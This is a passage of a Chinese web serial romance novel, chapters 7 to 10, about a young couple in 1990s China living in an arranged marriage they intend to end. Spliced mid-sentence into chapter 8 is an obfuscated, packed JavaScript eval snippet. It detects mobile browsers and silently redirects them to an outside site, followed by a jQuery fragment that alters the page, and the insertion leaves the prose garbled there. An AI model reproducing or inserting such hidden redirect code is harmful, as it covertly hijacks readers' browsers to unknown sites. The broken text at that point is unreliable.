乔卓成是非婚人士,对婚姻的围城还在憧憬中,心态乐观:“只要思想不滑坡,办法总比困难多,三年了还在原地打转,不是分不了,是不想分。” 莫道言做一般推测:“车轮战都不著见效,表明两人心意已决,离婚只是时间问题。” 乔卓群不留情面地点出,要不说莫道言事事更胜一筹呢,多年远居欧洲,还对我国组织力量了如指掌,反观乔卓成,见解肤浅,低估了组织做思想工作的力度,高估了婚姻对人们的感召力,暴露了在感情方面的无知,不想分能鸡飞狗跳闹近十年,以为变相的打情骂俏?美化生活的地摊文学看多了!现实的结局是两人前几天离了,能顺利离掉不是组织不挽救他们了,是半夜干架,女方踢爆了男方的生殖器,有了感情破裂的力证。 乔卓群哀叹:“四年半,一个终生残疾,一个锒铛入狱,这就是离婚的代价。” 莫道言这才知道,正常离婚最少两年起步,他估算起了自己离婚的时长,和佟语非不吵嘴不干仗,感情破裂的迹象虚无缥缈,组织对他们的关怀会只多不少,若不幸拖上三年五载,佟语非都小三十了,再嫁人择偶范围大大缩小,他岂不是毁了她? 综上,还是快刀斩乱麻的好,现在离还能给出正当理由,说是聚少离多,没有共同语言和调解基础,如果两人态度坚决,会加速离婚的进程,但若时间长了,稀里糊涂过下去,这缘由就站不住脚了,何况比起上面那对夫妻,他面对的阻力还多了一重,家庭成员的抗议,他不用特意证实就能肯定这一点,佟语非太“完美”了,“完美”到没挑儿。 她上着夜班,下班回来仍不会立刻休息,陪着奶奶沐浴晨光,听关肃霜的《铁弓缘》,童芷苓的《四郎探母》,一边听一边给奶奶捶背,能陪到日上三竿;父亲忙到昏天暗地,食欲不振,随口一提想吃几口阳荷解解馋,但快下季了,菜市场买不到,当晚清炒阳荷就摆到了桌,林姨夸她的同事乐善好施,肯把老家寄来的阳荷卖给她,莫道言事后却被邻居问,佟语非骑着自行车,跑遍了全城的菜市场,究竟买了什么炊金馔玉?她为母亲织了条钩针三角披肩,被母亲的老领导看上,随即通宵达旦地赶工,为老领导及其老伴各织了一条,还绣上了夫妻俩的名字,老领导礼尚往来,后来片区分布图上,孟如卿负责的区域悄悄多出两格。 她对喋喋不休的莫道行句句有回应,做他的听众,给他参加的演奏活动写观后感。 莫道行很信赖她,偶尔会依在她肩头,喜不自胜地告白:“嫂子,下辈子还嫁给我哥吧,还有下下辈子,下下下辈子……” 她佯装生气:“呵,竟然不要我做亲姐姐?” 莫道行摆着手道:“还是嫂子的好,不然我哥就赔大了。” 她能煲一手的好汤,家人三天两头就能品尝一道鲜有的美味汤羹,就连食不厌精,脍不厌细的奶奶,厨艺精湛的林姨,都赞她慧心巧思,莫道言回来后,她会为他做西式的煎牛扒和奶油烤鱼,买了台中洲牌烤箱,烘烤面包。 莫道言签下聘任书,去了新立上班,每天天黑透回来,满身的油污,她不管多忙,都会抽出空,把他那些洗衣机洗不掉的脏衣服搓洗得洁净如新,手被冷水泡得通红。莫道言从供销社买了小铝罐装的友谊牌护手霜送给她,找了些莫长林的旧衣服做暂时的工装,让她不要再洗了,她却劝他别穿那些过时又奇丑的衣服,不衬他,他是天之骄子,在哪儿都要光鲜亮丽,不但让莫道言把西服穿了回去,还为他搭配领带和胸针,每天不重样地戴。 林姨逗她:“道言是天生的衣服架子,你还这么精心装扮他,不怕被人抢去啊?” 佟语非一笑了之:“是我的就是我的,谁都抢不走。” 这段话还有后半句,她没说。 林姨为她犯愁:“你这不争不抢的性子哟,但这世道能挣能抢的多了去了,结婚不是免扰金牌。” 林姨所言非虚,一个太炫目的人,对人们的吸睛力远超觊觎有妇之夫的道德约束,况且还有许多人不清楚莫道言是已婚人士。 孟如卿起初对莫道言定下出国计划是持否决意见的,既有亲情上的难舍,又有政治上的考量,彼时国门大开,西方先进科技涌入,也滋生了严重的崇洋媚外,大量看过花花世界开阔了视野的公费留学生,无视国家的栽培而滞留不归,公费生尚且自私自利,无可指摘的自费留学更有一去不返的根由,但孟如卿并不想莫道言与祖国和家庭分道扬镳,国家百废待兴,更需要他这种可造之材。 在为莫道言的经济担保单上签字时,孟如卿和他达成了一项约定,要求莫道言完婚后再启程,知子莫若母,有了责任羁绊,不怕他不回来。其实多此一举,莫道言自始至终没产生过改国籍定居国外的念想,骨子里有着浓厚的家国情怀,学到技术回国干一番轰轰烈烈的事业是初衷,在这份赤子之心的认知上,陈怀礼比孟如卿更信他。 同样知母莫若子,他明白母亲需要一个定心丸,在不影响出国大计的前提下,顺应而为地给了,至于定心丸是苦是甜,全看母亲好恶,结婚对象,订婚与成婚的流程,都由母亲一手安排。这场婚事从开始就是形势所迫,莫道言没将它当作人生三大喜事之一,情深不能自抑,情浅如泣草芥,而他们之间连个“情”字都谈不上,他理所应当没有激情去管细节,甚至希望参加的亲友越少越好,将来了结关系会相对轻省。 订婚那天,佟万和赵伟民因为儿子女儿齐齐发高烧,佟意宿醉在朋友家,都没能赶来,佟家到场的只有佟建忠一人,佟建忠看到莫道言的同学朋友无一人到场,颇有微词,庄稼人娶媳妇都热热闹闹,一辈子的大事,未免太委屈女儿了,被孟如卿两句话安抚,他们是国家干部 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在奶奶和父母眼皮子底下讨生活,搬走前仍要和佟语非同居一室,她上晚班,他们一个白天一个黑夜,会精准把握时间,把房间留给对方互不打扰,她转白班,同时段进出上下班,就要谨慎些。他们住的卧房三四十平,七七八八的东西太多,还装了卫生间,只余几平米下脚的地方,莫道言又塞了张拉伸沙发床,横放在书桌后,与床隔了不到三十公分,晚上一头睡,不仅能听到彼此的呼吸,还能嗅到对方身上的沐浴香,因而睡觉时都会心照不宣地穿戴整齐,防止走光。 这晚莫道言到了家,拿给佟语非一个紫红色的锦盒,早先要送她的香水出了差池,他特地托了从巴黎回国的上海友人带回了新的。 佟语非触摸着锦盒上的精美彩带道:“你送过围巾了。” “礼物不是只能送一次,对了,你钱够花吗?我工作挣了些钱,汇来存银行了,存折和银行卡在写字台的收纳盒里放着,你缺钱就取来用……” 她经常会给家里买些吃的用的,而很多家境清贫的女工无一例外都要支援娘家,她或许也要如此,就他所见,她的吃穿用度都不是最时新的,甚至相当拮据,钱够花不啻指满足温饱,还要满足一些物质和精神需求,低的有档次稍高的衣服和化妆品,她在报社工作,高的扩充知识面要买书订杂志,都得用钱,她还是他的太太,他不能让她紧巴巴地过日子,她以后不是了,用钱补给最实用。 单位有同事在银行存钱,但都是极个别的人才会用,银行卡的普及还不广泛,佟语非浮光掠影地阅览过一些相关信息,了解得很浅显。 她抓起针线筐里的剪刀,剪去线头:“怎么取钱?” 她没在钱上谦让,是离婚又能顺利进一步的兆头,莫道言随即地将取钱要用的证件和密码写在了纸条上:“离婚后,你有什么打算?” 佟语非把香水放在床头柜上:“哪天有空,陪我去趟医院吧?” “医院?” “奶奶和妈妈说让调身体。” 他问的事关她切身利益,她置若罔闻,都要离婚了,还惦记着无关大局的小事,分不清孰轻孰重,莫道言很不情愿用那个成语来形容她,只能叹一句上帝是公平的,当上帝关了这扇门,一定会为你打开另一扇窗,反之亦然,造物主打开了她美貌和身材的窗,便吝啬地关上了智慧之门。说到身材,那么苗条的人,怎么做到那几个地方肉肉的还玲珑有致?她并不像热衷运动的人。 发现莫道言的目光肆无忌惮地定在她胸前,佟语非背过身:“有什么好看的?” 莫道言坦然自若:“事实摆在眼前,不必谦虚。” 8. 第八章 莫道言躺卧在沙发上,阅读着德国原版的科技读物,佟语非坐在桌前飞针走线,手指像新剥的竹笋,泛着粉白的光泽,刚吹干的浓密的发蓬松飘逸,衬得面色更加的红润。她似乎没有其他消遣,总在洗洗涮涮和做针线活,今天做的鞋垫绣花是对戏水鸳鸯,雄鸳鸯的羽冠用了蓝紫线,颈部是鸡骨白的环带,翅膀是金黄色和栗色的拼色,尾羽是醒目的橙黄,整体鲜艳夺目,雌鸳鸯的配色较为质朴,灰褐相接,腹部是素雅的浅灰,和莫道言在动物园看过的几无二致,远远看去,栩栩如生。 从尺寸上推断,是绣给他的。 体贴入微面面俱到,得妻如此,夫复何求?换成这世上九成的男人,都对这种兼具样貌和贤惠的女人求之不得,然则莫道言是剩下一成里的,想要一个怎样的伴侣暂且不知,但不需要贤妻良母确凿不移,衣服他能洗,西式餐点他能做,买皮鞋和球鞋送的鞋垫,是草本配方的活性炭除臭款,匹配合脚,材质舒适,她大可不必去做担雪塞井的琐务,用这些时间去读读书提高一些自己多好。 人无完人,金无赤足,人太“完美”,很难说不是刻意隐藏缺点的假模假式,想到这里,他委实为她惋惜,她本该被人视若珍宝,他却心无波澜,还把她看低了,消除不了这种观感,便不想享用她用完美酿出的成果:“以后别绣了,送的都用不完,还有,我不戴围巾。” “绣好了。” 她瞄他一眼,垂下眼帘,将鞋垫放进了水纹包。 “我睡沙发吧。” 长时间睡沙发伤脊椎,再加上莫道言颀长的身材,睡着很局促,腿都伸不直,她睡就宽裕多了,房间本就是他的,合该轮换着来。 莫道言合起书:“你睡不了。” 说出去很难有人信,她一个醒着时体态娴雅的人,一朝入梦歪倒横躺,睡无睡相反差极大,这是迄今为止,莫道言认为发生在她身上的绝无仅有的趣事,再尽善尽美的人,总有身不由己时,只有睡着了,才能卸去伪装,她幸而穿了睡衣,否则翻来滚去的画面…… 莫道言不允许自己发挥想象力。 一个房间睡了四晚,他捡了九次被子,仅第二晚就捡了三次,到了第五晚,那床珍珠白的蚕丝被成了苏文茂单口相声《扔靴子》里的靴子,不落地,他睡卧不宁。 夜半,更深人静,被风吹皱的月光精灵从窗帘的缝隙潜进来,洒着亮闪闪跃动的碎银,莫道言脚背忽沉,那只靴子终于落地了,他抬腿把被子勾起还了回去,侧了个身接着睡,没到五分钟,又丝滑地回堆到了他手边。他耐着性子起床,拎上被子来到床前,她正仰面躺着,两手无意识地一张一握,像要本能地去抓保暖物,纤眉深锁,双眸紧闭,小扇子似的两条睫毛轻颤着,宛若军魂附体,置身于水深火热的战场,打得难解难分动魄惊心,上衣斜斜地卷起一块衣角,没有一丝赘肉的柔白腰线尽收眼底。 莫道言弯下腰,将佟语非的衣服拉回原位,手臂横穿她的颈下,缓慢地抬起身体,另只手拿着被子往她背下送,想用包裹新生儿的方式裹住她,刚送了一个角,她顿然交叠双臂抱住了他的脖颈,抱得极紧,紧得他猛地跟着沉下去,须臾间曲起手肘,撑在她肩部上方的床板上,才没压到她。 佟语非仍未放手,如陷在了梦魇中,抓着一根救命的浮木,弓着腰贴紧着他,莫道言发觉她出了汗,鬓角湿漉漉的碎发散乱地贴在他脸上,为了不让她受凉,他跃身上去,膝盖横跨在她的两腿旁,将她放下去,俯下身体与她虚空地紧挨着,被子搭在背上,尽量地向四周铺开,以便能严实地遮盖住她。 他抬起手,轻拍她肩背:“醒醒。” 她半梦半醒着呢喃:“爸爸……” “佟语非!” 莫道言呼唤几声无济于事,稍微用力掰开了她缠绕的臂,佟语非痛哼着张开了眼睛,紧绷的身体软下来,两手从莫道言宽阔的脊背滑至结实的肩部,他外形温文尔雅,却不属于文弱书生那挂的,喜欢各种球类运动,精通网球和冰球,还跟德国室友学过拳击,每块强健而紧致的肌肉,都是常年锻炼的结晶。 她看不到他的神态,他坚实的身影遮住了微芒渺渺的光源,周遭昏黑黯淡,只感觉滚烫的呼吸在脸部游走,并没多吃惊或慌张,他们的姿势是暧昧,可那个人是莫道言,对她没有非分之想,不会图谋不轨,即使有,以两人的关系,他无须偷偷摸摸。 他紧接着的话侧面印证了她的揣测:“能把手拿开吗?” 多亏他没把光亮露进来,她的面红耳热得以遁走:“我踢被子了?” 他将缠在唇口的长发拨开:“如你所见。” 佟语非挪开了手,真诚地向他表达歉意:“对不起。” 他揭开被子,回到沙发床:“想爸爸就回去看看。” 佟语非声如蚊呐:“不是他。” 一句简答意味深远,藏着难以言说的无奈,莫道言没问下去,她想说,他会洗耳恭听,她不说,他不会窥探他人隐私,相较这些,新立产品如何在外资的冲击裹挟下破局,如何用反手截击压制乔卓成的高压球……更占脑容量。 今日事今日毕,他只想睡觉,等着明天去迎接新的挑战。 佟语非着了凉,打了声喷嚏道:“能不能开下灯?” 开关在莫道言的左手边位置,他伸手就能按到,只听“啪嗒”一声,白亮的光从吊装荧光灯管射出,冲破了一室的昏淡,佟语非披上从床上下来,将被子叠起来塞进了大衣柜右侧的方格中,搬来椅子放在衣柜和沙发中间,站上去踮着脚尖,翻着衣柜顶面板上的东西,她的睡衣是果绿色的薄款麻布面料,裤脚处拼接着六七公分长的鱼尾褶,光滑白润的脚踝断断续续在划着隽美的弧线。 衣柜的顶面板上叠放着五六条被子和两个包袱,被一条淡青色的棉布捆罩着,佟语非解了棉布,去取里面的奶黄色包袱,包袱又重又大,抽拿时着力过猛,脚下忽然打滑,人和包袱一起从椅子上摔下,莫道言见状翻坐起来,以迅雷不及掩耳之势,展开臂牢固地接住了她。 佟语非手里的包袱从沙发滚跳到了地板,认则半侧着身砸进了莫道言怀里,有惊无险,只是平地起波,莫道言接得措不及防,一手揽住了她的腰,一手不偏不倚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819105|175458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地扣在了她的胸口,一股股热流穿透绸布流向掌心。她忙中出错,面红面绿地去捡包袱,“谢谢”都忘了说,等压下心中涌出的羞赧,想去道声谢,却觑见了他唇角勾出的似有若无的笑。 她反问道:“你笑什么?” 莫道言瞧得分明,她颔首低眉间,泄出一线不易察觉的愠色,四十五度的温水终是凸显出了些微的原貌,原是滚水凉透后的残温,荡起的细小的涟漪,像被轻蔑后强抑的气急败坏,他竖起鹅绒枕斜倚,双臂交叠垫在脑后,眼底浮起玩味的笑意:“我笑了吗?” “笑了。” “笑了就笑了。” “笑什么,为什么笑?” “佟小姐最会对人笑,又是为什么?” “转移话题,做贼心虚?” “笑就是贼,你岂非贼喊捉贼?” 他和她唇枪舌剑着,那抹浅笑仍噙在嘴角,像一道炽热的光,刺痛了她。 她咬咬因怒意而抽搐的唇:“你觉得我在勾引你?” “我没这么说。” “你这么想了。” “太敏感,很难发自内心的快乐。” 她拿出包袱里的被子,那是用两条被子缝合拼成的睡袋,侧边缝了袖子,中间缝了拉链,防踢被子用的,睡袋太丑,占地方,又是她个人用的,所以他来了,她便把睡袋收了起来,用上了正常的盖被,因为分不分床,分不分被,得由他来定。现在知道他要和她分床到底,不想影响他休息,就拿出来用了,却因为无谓的“失误”,成了图谋不轨的罪证,可她哪有那样的神通,精算到每一步,故意往他手上撞? 被摸的是她,他还那样笑,好像她是出来卖的,还是他瞧不上的那种,佟语非郁郁寡欢地回到床上,钻进睡袋里,静默的夜没有一丝声响。 良久,她执拗的声音在黑暗中响起:“我没勾引你,你是很优秀,但不是人人都是陈如潮小姐。” 莫道言含眸:“你确实不是她,她智商在你之上,却不及你聪明。” 前几日他还想过用“胸大无脑”来形容她,是对她最大的误解,有人大智如愚,而有些人的愚,是分毫不差地踩在了别人的预期,应付裕如,愚不过是保护色。 也许他想用的词是精明,因为露骨的嘲弄便以聪明替代,佟语非轻哼着回击:“论聪明,您认第二,没人敢认第一。” “我认第二,只会被说虚伪。” 说他聪明,他马上摆上谱,四两拨千斤地把她严肃的抗议演成一出诙谐的闹剧,她虽不是笨嘴拙舌,在技高一筹的莫道言这儿却占不到嘴上的便宜,占到也得不到实际的好处,闹僵了能怎么样?是能让他灰溜溜认输,还是她能以离婚明志?都说对人要论迹不论心,人是她要嫁的,婚是她要结的,论心论迹,都是她离不开他,十七岁都能厚着脸皮在电影院里偷亲他,求他娶她,那在他想离婚时,猜想她为挽留他而用些狐媚的伎俩,还是在合法婚姻的前提下,有何不可? 这是怎么了,怎么会如此失态?一个笑而已,她不该乱发脾气的,如果因小失大,她不能原谅自己。 9. 第九章 两天后,莫道言陪佟语非去医院。 不管她那晚和他闹的多不雅观,站在莫家其他人前的佟语非,还是那个大方得体的好孙媳,好儿媳和好大嫂,莫道言敬爱他的祖母和父母,喜爱他的弟弟,但没法在违背自身的认知去迎合谁,这在信奉枪杆子里面出政权的祖父和棍棒底下出孝子的父亲那儿,是忤逆犯上和软硬不吃,也是不畏强权和果断如斯,祖父和父亲在左右互搏的矛盾思想下,指导教育着他,他挨了最多的揍,也赢了最多的赞。 他做不了完美儿孙,却不能阻挡她做满分儿孙媳,他做得再糟,都是莫家的儿子,她没有那么多试错的机会,善始善终吧,而况她还疑似贫血。 蓝天白云,风和日暄。 莫道行献出了珍藏的相机:“哥,看完医生还有时间的话,和嫂子去逛逛吧。” 孙子孙媳肯休养生息,莫老太太喜上眉梢:“多拍照片,小行都说了,这相机很神奇的,不费胶卷。” 莫道言坚信奶奶听岔了,这款佳能的数码相机是他送给弟弟的成人礼物,不是不费胶卷,是不用胶卷,用的闪存卡,容量受限,只能拍几十张照片,存满后移进硬盘才好接着拍,数码相机在当下是高科技的稀罕物,莫道行宝贝得很,借给哥哥都要千叮咛万嘱咐,轻拿轻放,莫要磕了碰了。 莫老太太看不过眼:“小气鬼,哥嫂玩开心了,回头给你添个大侄子,几百台相机都买不来。” 莫道行一板一眼道:“奶奶怎知一定是男孩?生男生女都是五成几率。” 莫老太太嗔笑:“女孩就比不上相机了?” 莫道行畅想着怀抱软糯肉团子侄女,咧着嘴笑:“女孩嘛,照片我来拍!” “这才对嘛,你是不知道,在你之后,我多想要个孙女,是你妈妈她……” 莫道行努努嘴,打住奶奶的老生常谈:“哥,快去吧,别晚了。” 莫老太太攒眉:“莫慌莫慌,让老严送你们去。” 严叔是奶奶的司机,在徐家做了几十年了,莫道言不肯惊扰:“不开车。” “骑车多冷啊。” 莫道行领着奶奶回屋:“您不懂了吧,骑车冷,但慢啊,慢慢的浪漫。” 出行工具还是二八杠,莫道言做了简易的改装,在车头和车尾各加一盏灯,供夜间照明使用,他只补了自行车行驶证,国内驾照还没考出来,过去考驾照很繁琐,须得挂靠单位开证明,名额比珍稀动物都少,考试项目繁多,不仅考核驾驶技能,还要习机械维修,驾照考下来常常要花两三年,以致有车不能开。步入九十年代,有了很大的改善,伴随私家车的增多,出现了可供学习的收费专业驾校,社会上掀起了学车潮,不足之处是排期任重道远,想缩短时间就得加钱,有的多达五六百,赶上一个工人一整年的工资了。 莫道言倒不用等排期,开驾校的老校长是莫长林的前工友,看到他的报名表,优先把他排在了前面,被他回绝了,父母有清廉名声的顾虑,他想购房,再买车会被说大肆铺张,以个人名义买房买车,得等到独立门户之后,不急着用车,故而不慌不忙等考试了。 有了前车之鉴,他再载着她,速度不疾不徐,四平八稳。 清早,街边人来人往,有邻居和他们打招呼,其实十有八九是和佟语非打的,虽然莫道言住的时间更久,但他不苟言笑,生人勿近写满了脸,没有佟语非一团和气的亲和力。 大婶一脸笑地看他们出双入对:“老莫家的大儿子大儿媳,郎才女貌,天生一对!” 有个在玻璃厂做工的小伙子怏怏不服:“要不是他爹是莫厂长,就莫道言那三脚踹不出一个屁的德行,好好的姑娘会跟他?哄人都不会,别看他整天拽得二五八万的,跟我同读初中那阵子,常被我们堵厕所,打得哭爹喊娘鬼哭狼嚎。” 小伙后面跟着个双马尾的机械厂女工,笑得花枝乱颤:“行了何老三,你的老熟人还没死绝呢,牛皮吹多了,自己都信了,有人从小不学好,把死老鼠放隔壁班女同学脖子里,被人家的班长莫道言揍得满操场跑,屁都不敢放一个的是谁啊?莫道言在学校被称作西城三浦友和,想和他处对象的能从南云寺排到西牌楼,没有佟语非,还有张王李赵语非……属她命好罢了。” 小伙子吸了吸鼻子:“我说我奶做的酸辣白菜那么难吃呢,你搞的鬼啊?” 女工被说蒙了:“胡说八道,关我啥事?” 小伙子嬉皮笑脸:“武陵街的醋都被你买光了呗,呵呵,你倒想命好,可莫大少爷看不上啊,莫家还有个小少爷,可古有老牛吃嫩草,嫩牛吃老草的可不多见呢……” 女工追打小伙子:“狗嘴里吐不出象牙……” -- 上午八点钟,莫道言和佟语非到达第一人民医院,大厅里人满为患,挂号的窗口排起了长龙,四周弥漫着刺鼻的来苏水消毒液味,两人默契地没有提去找徐营表姑走后门,表姑这个级别的专家,看的都是疑难杂症,患者是来自五湖四海,他们就不和别人抢稀缺的医疗资源了。 佟语非走到队伍尾巴:“你找位置坐吧,我来排队。” 即便没受过高等教育,莫道言也不会没家教到做个甩手掌柜,要她去和人挤来挤去,他向佟语非招手,示意她过来,而不到半分钟,她后面已经排了十几个人,走了再回来又要重新排,夷由着要不要走,莫道言已经挤过接踵比肩的人群走了过来,一言不发地扣住她的手腕,将她拉到了身边,头也不回地往候诊区走,他的手掌骨节分明,扣得她腕部隐隐作痛,她紧跟过去,以减弱和他的肌体拉扯。 莫道言拉着她到了候诊区的排椅前:“除了贫血,你还有其他不适吗?” 佟语非不解其意:“你是要……” “只说贫血,不能确定要挂哪个科的号。” 佟语非低声细语:“例假不是很准时……” 噪杂的环境里,莫道言忽而朝她侧耳,富有弹性的耳廓,几乎贴到了她的唇:“大点声,没听清。” 佟语非掩着酥酥麻麻的触感:“例假不规律。” 莫道言花了五块钱,从一个中年男人手中买到一个座位和一张经济参考报,座位给她坐,他拿着报纸走进了龟速前行的排队大军,参考报上的报道不是每篇都有翻阅价值,但还是能用来消磨时间的。 佟语非左侧坐着位三四十岁的热心肠胖大姐,发现她还没吃饭,拿着从家带的白煮蛋和荠菜包给她,她说要空腹验血,才把东西收了回去,捅了捅她的手臂道:“你男人是文化人吧?很牛的那种文化人。” 佟语非愣了愣神:“他书读的是好。” “你婆家挺有钱吧?他一看就是好家庭养出来的,跟我们不一样。” 胖大姐将佟语非归为同类,莫道言们则是异类,他们拥有出众的皮囊和不凡的家世,眼中既无苦大仇深的隐忍,也看不到目不窥园的麻木,总是自信从容,就像此刻专心读报的他,不曾回头看一眼年轻貌美的妻子,想来他身边从不缺少仰慕者,早已 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一记耳光甩得男人偏过头去,甩巴掌的人手速极快,快得男人都疑惑打他的是佟语非,还是站在她身旁的莫道言,可他们是两口子,谁打的无所谓,擒贼先擒王准没跑,而且那一巴掌很重,脸随即就肿了,手劲不像是女人打出来的。他捂着火辣辣的左脸,惊疑不定地瞟着莫道言,白衬衫,卡其色工装裤,白黑红相间的球鞋,黑亮黑亮的头发抹了几层定型摩丝,能当镜子照了,小白脸装腔作势,不知道马王爷有几只眼了? “他妈的找死!” 男人抡起拳头就要扑上去,眨眼就被莫道言单手按回座位,莫道言把纸质的挂号单递向佟语非:“先去诊室,我随后到。” 佟语非犹疑着要不要叫保安:“那你……” 话音未落,男人又嚎叫着弹起来。莫道言抬膝一顶,精准命中对方胃部,在杀猪般的惨叫中淡淡道:“我陪这位先生挂个急诊外科。” 佟语非看男人疼得龇牙咧嘴,嚣张的气焰没了影儿,完全不是莫道言的对手,就和胖大姐说了再见,走楼梯到了三楼,三楼设置了妇科和妇产科两专区,她随护士带到了妇科一号诊室的门口,编上号,在木质长凳处等待人工叫号,前面还有十三个人在排号。 七八分钟后,莫道言上来,在男士止步的黄线外顿住了脚步,又过了四十分钟,他将翻了四五遍的报纸折成飞机,送给了旁边陪着爸爸等妈妈产检的小女孩,看着排在佟语非前面的患者走出了诊室,她走了进去,然后倏然间瞥见了一道清冽的身影,接诊的医生是陈如潮。 陈如潮不是在西大附属医院就职吗?而且他挂的妇科专家姓庞!莫道言把疑问抛给编号的小护士,小护士看着那张耐看的脸,不厌其烦地解释着,两家医院有合作,会互相借调医生,因而部分医生就会在两家医院都有坐诊。庞医生临时去西安公差,就把挂她的号的人转给了西大附属医院过来的陈医生,两位医生都是副主任医师,同样的医术高超,几乎没有患者有负面的异议,另外,他们给患者编号时,手写了更正过的接诊医生,患者如果想终止看诊,可自行退号退费。 也就是说,佟语非从坐下的那刻,就知道里面的医生是陈如潮,但她还是进去了。 护士小姐笑盈盈道:“先生,您还有别的疑问吗,或者需要为您太太传话吗?” 他是不想见陈如潮,但没到躲着走的程度,佟语非正大光明来看病,没什么见不得人:“不必了。” 10. 第十章 佟语非进了诊室,在陈如潮对面就坐,自陈如潮闹的那场自杀风波,加上莫道言出国,佟语非入住莫家,两家虽仍有走动,仅限于其他人,陈如潮极少出现在伤心地,佟语非顾及陈家人的心情,没登过陈家的门,她们在正式场合的头次见面,还是在一年前翠香楼的年夜饭局,两家以前的年夜饭都在一块儿吃,因故断了三年,第四年重聚,是陈如潮积极促成的,她说过去的都过去了,愿两家情谊永存。 席上,陈如潮绕桌敬酒,最后敬的佟语非:“佟小姐,我赔了半条性命,你赔了大婚盛事,我们扯平了。” 佟语非微怔,这话对莫道言说更合适,可陈如潮还是亏了,有没有那次的闹,莫道言都不需要一场盛大的婚礼:“在感情里,我们本互不相欠。” 陈如潮弯着眼睛笑:“听你的意思,感情之外,我欠了你,还是你欠了我?” 佟语非浅酌一口酒:“陈小姐真幽默。” 和陈觉遥随母亲的长相有别,陈如潮则和父亲几乎是一个模子刻出来的,整体轮廓均匀的鹅蛋脸,差别在她的眼尾上挑,唇线丰满,有种艳丽的凌厉感,白大褂中和掉一些攻击性,多了份娴熟的干练。她例行公事地给佟语非做了身体检查并验了血,诊断其是轻度贫血,贫血的症状由月经不调导致,月经不调则肇始于长期熬夜导致的内分泌失衡与激素紊乱,要调经补血治病治本,开了两个疗程的调经片和补气血的药,嘱咐佟语非只服用药物还不够,须改善生活起居,保证睡眠充足,加强营养。 佟语非想着奶奶保不齐要问东问西,总得有话应对,随口问:“备孕要注意什么?” “这么着急给他生孩子?” 陈如潮目光一沉,两手抱臂,向后靠着椅背,也许觉出话似失当,很快回正身体。 “别多想,能问出你这个问题的患者,多是那些过了多年没避孕的夫妻生活,仍不孕不育的,你身体欠安,不把健康放第一位,还想着夫家香火不绝,可歌可泣。” 陈如潮的用词带着少许的讽刺,佟语非并未动怒,换作她是医生,恐怕也会觉得这样的做法愚不可及,见惯了蠢人蠢事的陈如潮,本可以冷眼旁观,甚至不必多费口舌,能出言提醒,已是出于职业的善意,然而此刻的她却是局中人,只能硬着头皮继续演下去。 佟语非抿唇微笑,带着隐约的促狭道:“未雨绸缪嘛,陈医生以为我在想什么?” 陈如潮面沉似水:“同房多长时间了,大概的频次?” 佟语被问住了,她是已婚不假,可没有夫妻之实,生活状态还和单身女青年没差,她和莫道言去民政局领证时,工作人员给他们发过一本《婚前教育手册》,是帮助新婚夫妇学习婚后生活的。他们领完证,一起坐公交回办婚礼的酒店,莫道言在路上津津有味地翻看着手册,她漫不经意地瞅过一眼,脸刷一下红到了耳根后,那页标题赫然写着“女性都有哪些X兴奋的特征”。 如果不认识,她一定当他是不正经的伪君子,生得直内方外,却看不三不四的东西。 公交车到站停靠,他把书收起来,意犹未尽道,教育手册内容一应俱全,丰富详实不可或缺,编写者做了很多功课,是社会的进步。 现在想想,政府发的科普书籍怎么会伤风化?心正则身正,心静则目明,是她愚昧无知固步自封,才导致到了今天,这方面的知识还是盲区。 她被问得哑然失声,连问了两遍,才慢条斯理道:“没多久,频次正常。” 陈如潮不耐道:“多久?频次?” 佟语非记得有已婚的同事们说过那方面的小话,有样学样:“十来天,一天三四次。” 陈如潮顿了一下,但很快切回看诊状态:“十来天就忧虑怀孕,太性急了,你这个贫血度还影响不到受孕,至少一年半载无果,再去庸人自扰吧,有优生优育的心是好的,以防万一,可以做个全面检查,排除器质性病变。” “我们单位每年都有做职工体检,我没有别的毛病。” “那就先调理身体,去拿药吧。” 小护士拿着新编号进来,见缝插针地和陈如潮闲聊:“陈医生,你怎么不喷香水了?前天这屋里到处是醇浓的豆奶杏仁香味,多好闻啊。” 陈如潮幽幽道:“你也知道味重了,有患者过敏怎么办?” “对哦,您想得周到,好可惜呀,这款法国迪奥的红毒香水,问世没几年,设计理念强调成就与时尚相吻合,您是年轻有为的副主任医师,衣品还好,送您香水的朋友太懂您了,是位有留学经历的男士吧?” 陈如潮答非所问:“下午的号都排好了?别出纰漏,病人大老远来的。” 佟语非回到公共等待区,莫道言拿着热乎的豆浆和包子等着她:“医生怎么说?” “吃点药就行。” “药单给我,我去拿药,你吃点东西垫垫肚子。” “给我看病的是陈如潮医生,很专业。” “看到了。” 看莫道言没有要进去和陈如潮说话的意思,佟语非把药单递了过去:“一起下去吧,我在这里吃不下。” 两人走到楼梯口转弯处,陈如潮的声音从身后传来:“莫先生,近一步说话?” 佟语非识趣地让开:“我下去等你。” 莫道言随陈如潮走到走廊尽头,穿过一扇玻璃门,拐进一处露天的天台,午时的阳光暖洋洋的,笼罩得大地像回了春,陈如潮伸了个懒腰,站在离莫道言三米远的地方,解开扣子,从里面的衣服口袋里摸出一只不锈钢的猫眼打火机和半盒阿诗玛,轻车熟路地扣动按钮,一缕蓝黄色的火苗跳了出来,在风中轻轻摇动着,点燃了她指间的香烟。 陈如潮嘬了一口,吐了口烟圈:“觉遥说你去家里四五次了,从不在家吃晚饭,是嫌我妈饭做得难以下咽,还是嫌她的女儿讨人厌?” 莫道言踩着脚下的影子:“你可以当是被厌者的自识,趋利避害的是人的本能,就像现在,如果没看到我,你笑得会更灿烂。” “别自以为是了莫道言,那个被你牵引着喜怒哀乐的陈如潮,早伐毛洗髓焕然新生了,我是个救死扶伤的医生,身后有无数的病患者,不是年幼无知为你患得患失的傻子,你还要为过去抱愧吗,然后把我永远钉在耻辱柱上,把那页当你的荣誉勋章?” “我有勋章,专业的,很多。” “自恋狂。” 莫道言眺望着远方的烟囱,滚滚白烟升腾而起,周围逐渐微茫而不可捉摸:“陈医生还有何指教?” 